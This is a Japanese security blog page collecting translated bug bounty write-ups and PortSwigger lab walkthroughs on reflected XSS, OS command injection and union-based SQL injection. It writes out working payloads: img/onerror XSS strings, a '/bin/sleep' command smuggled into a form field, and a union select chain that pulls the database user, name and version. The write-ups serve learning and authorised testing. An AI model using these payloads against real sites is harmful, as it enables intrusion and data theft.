Shikata Ga Nai

Private? There is no such things.

Weird (im)possible XSS on error pageを訳してみた

Hello there, ('ω')ノ

 

エラーページに奇妙な(不可能な)可能性のあるXSSを。

 

脆弱性:

 反射型XSS

 

記事:

 https://komradz86.medium.com/weird-im-possible-xss-on-error-page-a0b943ead41

 

今回のターゲットを、test.comとすると。

このWebサイトでは、エラーページが無効になっていて。

バックグラウンドを使用してWebサイト自体に統合されていて。

悪意のあるものを追加しようとしても、別のページにリダイレクトされて。

 

ただ、test.com/testで、エラー(Reflection Exception)を取得することができて。

このエラーに関する詳細情報を検索し始めたところ。

一部のリサーチャーが、htmlを挿入できたことがわかって。

このエラーをどのように見つけたかというと。

元のページ(test.com/test)にディレクトリに拡張子を追加したわけで。

test.com/test.php、またはtest.com/test.aspxをテストしたところ。

エラーページが表示されたので、エラーページのエラーメッセージを。

自分のエラーメッセージに操作できることがわかって。

 

次に何か他のものをチェックし始めると。

しばらくして、テスト中に同じエラーページに出くわすことに。

HTMLインジェクションをテストすると。

エラーメッセージが太字や下線付きなどで、HTMLをインジェクションできて。

 

次にXSSのテストを開始して、本の中で実行できるすべてのことを行って。

多くのペイロードをテストすると。

ページが特定のタグにのみ応答して、他のタグが無視されているのが奇妙で。

HTMLタグを再テストしたところ、同じことが起こって。

タグが受け入れられない場合は、ホームページにリダイレクトされるようで。

 

他のすべてのタグの代わりに<img src=タグを使用してXSSペイロードを挿入すると。

画像がインポートされていることを示す小さなアイコンが、ページに反映されたので。

これで、XSSを取得できたと思って。

さらに試したすべてのペイロードは、ホームページにリダイレクトされたので。

はじめのページに戻ったので怪しく思って。

 

f:id:ThisIsOne:20211007134037p:plain

 

さらにペイロードを試していると、下記(例)がWeb管理者によって。

使用されたホームページ、またはエラーページにリダイレクトされてたので。 

 <script>alert(1)</script>

 

f:id:ThisIsOne:20211007134102p:plain

 

Webサイトで悪意のあるコードを検出するために管理者が知らなかったのは。

タグを閉じなくても悪意のあるペイロードを挿入できたという、ある種の設定ミスで。

 例:<script>alert(1)

 

そして、各ペイロードを試した後に、初めに書いたようにtest.aspxを削除して。

ペイロードをディレクトリとして追加して、ペイロードを.aspxで終了することに。

最終的なペイロードは下記のとおりで。

 %3Cimg%20src=%22'%22id=’%3Cimg%20src=%22%22%3E’onerror=alert(1).aspx

 ⇧

 <img src="'"id='<img src="">'onerror=alert(1).aspx

 

f:id:ThisIsOne:20211007134125p:plain

 

ちょっとわかりずらいかも。

 

Best regards, (^^ゞ

XSSの基本的な診断手順をなるべく詳細にかいてみた①

Hello there, ('ω')ノ

 

まずは、PortSwiggerへアクセスして。

 ace21f751e6bb493c0662037003f00cf.web-security-academy.net

 

まずは、検索でヒットするものやしないものなどで動作確認を。

 rubbish

 

f:id:ThisIsOne:20211006155052p:plain

 

URLは、下記のとおりなので。

 https://ace21f751e6bb493c0662037003f00cf.web-security-academy.net/?search=rubbish

 

エンドポイントとパラメータは、下記のとおりで。

 ace21f751e6bb493c0662037003f00cf.web-security-academy.net

 search

 

検索で入力した文字がページに表示されていたことを確認して。

 

f:id:ThisIsOne:20211006155130p:plain

 

ちなみにリクエストとレスポンスも確認しておいて。

 

f:id:ThisIsOne:20211006155433p:plain

 

Renderだとビジュアルに確認できて。

 

f:id:ThisIsOne:20211006155909p:plain


HTMLタグがどのように反映されるかを確認してみると。

 

f:id:ThisIsOne:20211006155835p:plain


下記のように小さな文字で表示されたので。

次に基本的なスクリプトを挿入にて動作確認することに。

 <script>alert(1)</script>

 

f:id:ThisIsOne:20211006160033p:plain

 

スクリプトが反映されて反射型XSSの脆弱性が確認できて。

 

f:id:ThisIsOne:20211006160048p:plain

 

ちなみにこのケースは、Renderでは確認できないので直接ブラウザで。

 

f:id:ThisIsOne:20211006160221p:plain

 

念のため、対象となるリクエストの履歴からアクティブスキャンを。

 

f:id:ThisIsOne:20211006160401p:plain

 

なにか一つ脆弱性を発見したようで。

 

f:id:ThisIsOne:20211006161111p:plain

 

やはり、XSSを見つけ出したようで。

どのようなりペイロードを挿入しているかを確認して。

 

f:id:ThisIsOne:20211006161145p:plain

 

レスポンスも確認を。

 

f:id:ThisIsOne:20211006161218p:plain

 

他のスキャンしたログを見てみるとRefererを攻めているのが確認できて。

 

f:id:ThisIsOne:20211006161344p:plain

 

User-Agentも。

 

f:id:ThisIsOne:20211006161538p:plain

 

Cookieも。

 

f:id:ThisIsOne:20211006161659p:plain

 

Best regards, (^^ゞ

Reflected Cross Site Scripting on REDACTED Programを訳してみた

Hello there, ('ω')ノ

 

REDACTEDプログラムに反映されたクロスサイトスクリプティングを。

 

脆弱性:

 反射型XSS

 

記事:

 https://infosecwriteups.com/reflected-cross-site-scripting-on-private-program-bounty-750-34cc67a931f1

 

このサイトは、画面からの入力を受け取っていないようだったので。

これは調査する価値があると思って。

URLの末尾に追加した<script>タグは、ページ上の一部の文字を明らかにして。

 "}}]}]

 

f:id:ThisIsOne:20211006134347p:plain

 

ソースコードを調べたところ、URLの末尾に追加したすべての値は。

JSONで生成された変数に割り当てられていたので。

JSONデータが、<script>タグの間に配置されていることを確認できて。

 

f:id:ThisIsOne:20211006134532p:plain

 

この時点で、</script>タグを使用して閉じてからXSSペイロードを入力するだけで。

 target.com/affected/url</script><img src=xss onerror=alert(1)>

 

f:id:ThisIsOne:20211006134504p:plain

 

ユーザからの入力を受け取っていないように見える場合でも。

ソースコードのURLの末尾に追加する値を必ず確認するように。

 

Best regards, ('ω')ノ

OS Command injectionの基本的な診断手順をなるべく詳細にかいてみた②

Hello there, ('ω')ノ

 

おきまりのPortSwiggerへ。

 

f:id:ThisIsOne:20211005160828p:plain

 

今回もいきなりですが、このエンドポイントでアクティブスキャンを。

 /feedback

 

f:id:ThisIsOne:20211005160656p:plain

 

結果、大したものは見つからず。

 

f:id:ThisIsOne:20211005161346p:plain

 

ログを確認してもパラメータへのリクエストが見当たらず。

単にページを表示しただけのエンドポイントをスキャンしたので、それもそうで。

アクティブスキャンするエンドポイントを間違っていたことに気づいて。

 

f:id:ThisIsOne:20211005161423p:plain

 

再度、下記のエンドポンとパラメータをスキャンすることに。

 /feedback/submit

 

 name

 email

 subject

 message

 

f:id:ThisIsOne:20211005161951p:plain

 

今回は、いくらか脆弱性が見つかったようで。

 

f:id:ThisIsOne:20211005164202p:plain

 

一部のログを確認してもしっかりとパラメータへのペイロードが確認できて。

 

f:id:ThisIsOne:20211005164321p:plain

 

まずは、SQLインジェクションの確認を。

これはいつものパターンで。

 

f:id:ThisIsOne:20211005164739p:plain

 

次にOSコマンドインジェクションを。

これもいつものnslookupで。

 

f:id:ThisIsOne:20211005164523p:plain

 

これをスキャンからでなく、マニュアルでやると。

まずは、エンドポイントのリクエストをリピータへ。

 

f:id:ThisIsOne:20211005165051p:plain

 

下記のペイロードを挿入すると遅延が発生して。

また、他のパラメータでも同じように確認できて。

csrf=euvGvyeAJzQOAfww0ktsO3jtDpfnfBEb&name=namae&email=test%40mail.com|/bin/sleep 10|&subject=title&message=mes

 

f:id:ThisIsOne:20211005170136p:plain

 

Intruderでいろんな手持ちのペイロードを挿入してみることに。

 

f:id:ThisIsOne:20211005173641p:plain

 

結果、なにもおいしい情報は得られず。

その後、分析をしながらペイロードとなるコマンドを変えていったものの。

なかなか、インパクトのあるレスポンスを得られず。

 

f:id:ThisIsOne:20211005173511p:plain

 

Best regards, (^^ゞ

How i got easy $$$ for SQL Injection Bugを訳してみた

Hello there, ('ω')ノ

 

SQLインジェクションのバグで$$$を簡単に入手した方法を。

 

脆弱性:

 SQLインジェクション

 

記事:

 https://rafipiun.medium.com/how-i-got-easy-for-sql-injection-bug-7ff622236e4c

 

ツール:

 Burp Suite

 

今回のターゲットをRedacted.comと呼ぶことに。

 

コンセプトの証明 :

1.新しいアカウントにサインアップして。

2.指示に従って進むと、下記のページを手に入れて。

 

f:id:ThisIsOne:20211005184414p:plain

 

3.下記のURLを取得できて。

  https://redacted.com/user/activation/xxx/1325589

 

 1325589は、自分のユーザIDで。

 ウェブサイトにSQLインジェクションがあるかどうかを試すために。

 一重引用符( ‘)を上記のURLに追加したものの、見当たらず。

    

4.しかし、ページが再び表示される場合は。

 ページに「アクティベーションリンクを再送信」ボタンがあるので。

 インターセプトをオンにしてボタンをクリックして。

 

5.下記のようなリクエストとレスポンスを受け取って。

    応答は、自分にリダイレクトされていて。

     Location: https://redacted.com/user/resendactivation/xxx/1325589/?smsg=green

 

f:id:ThisIsOne:20211005184444p:plain

 

6.なので、一重引用符を追加してリクエストを変更することに。

  GET /resend/activation/1325589'

    すると、自分にリダイレクトされて。

  Location: https://redacted.com/signup_page/xxx

 

f:id:ThisIsOne:20211005184506p:plain

 

7.次にリクエストに『--+-』を追加してみると。

  GET /resend/activation/1325589'--+-

 

 応答は先ほどのデフォルトの要求に変換されるので、SQL Inejctionを確認できて。

  Location: https://redacted.com/user/resendactivation/xxx/1325589/?smsg=green

 

f:id:ThisIsOne:20211005184531p:plain

  

8.次に「order by 5」を追加してみると。

    応答がFalse状態に変わるので、列は5個なくて。

  GET /resend/activation/1325589'order+by+5--+-

 

f:id:ThisIsOne:20211005184552p:plain

 

9.「order by 4」を試しても失敗して。

10.「order by 3」でリダイレクトして成功したので、列は3個で。

 

f:id:ThisIsOne:20211005184611p:plain

 

11.なので、下記の「union select」を試すことに。

  GET /resend/activation/1325589'union+select+1,2,3--+-

 

    リダイレクトされた応答を確認すると『』を得ることができて。

     Location: https://www.redacted.com/user/resendactivation/xxx/3/?smsg=green

 

f:id:ThisIsOne:20211005184633p:plain

 

12.今度は、3番目にSQLクエリを挿入してみるとユーザを取得できて。

  GET /resend/activation/1325589'union+select+1,2,user()--+-

 

 リダイレクトされた応答は下記のとおりで。

  Location: https://www.redacted.com/user/resendactivation/xxx/XXXdmin@XXX/?smsg=green

 

f:id:ThisIsOne:20211005184655p:plain

 

13.最後にデータベース名とバージョンを取得してみることに。

  GET /resend/activation/1325589'union+select+1,2,concat(user(),0x3a,database(),0x3a,version())--+-

 

f:id:ThisIsOne:20211005184711p:plain

 

Best regards, (^^ゞ